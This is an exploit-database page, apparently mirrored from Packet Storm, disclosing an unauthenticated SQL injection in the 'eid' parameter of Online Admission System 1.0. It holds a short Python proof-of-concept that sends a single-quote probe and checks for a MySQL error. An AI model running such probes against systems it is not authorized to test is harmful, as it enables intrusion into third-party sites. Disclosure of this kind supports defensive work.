Lucene search
K

Online Admission System 1.0 SQL Injection

🗓️ 05 Aug 2022 00:00:00Reported by syadType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 255 Views

Online Admission System 1.0 SQL Injection unauthenticated exploi

Code
`# Exploit Title: online-admission-system 1.0 - unauthenticated SQL Injection  
# Date: 5-08-2022  
# Exploit Author: syad  
# Vendor Homepage: https://www.sourcecodester.com  
# Software Link: https://www.sourcecodester.com/php/15514/online-admission-system-php-and-mysql.html  
# Version: 1.0  
# Tested on: Windows 10 + XAMPP 3.2.4  
# CVE ID : N/A  
  
# Description   
# The eid parameter does not perform input validation on the edit.php file it allow unauthenticated SQL Injection  
  
  
import requests  
import sys  
  
proxies = {"https": "https://127.0.0.1:8080", "http": "http://127.0.0.1:8080"}  
  
def send_request(ip):  
x = "http://%s/Student-Admission_0/Student-Admission/?a=edit&eid=8'" %ip  
z = requests.get(x,proxies=proxies)  
if "You have an error in your SQL syntax" in z.text:  
print("[+] Found Sql Injection")  
  
  
if __name__ == "__main__":  
try:  
ip = sys.argv[1].strip()  
  
except IndexError:  
print("[-] Usage %s <ip>" % sys.argv[0])  
print("[-] Example: %s 192.168.1.x" % sys.argv[0])  
sys.exit(-1)  
  
send_request(ip)  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Aug 2022 00:00Current
0.1Low risk
Vulners AI Score0.1
255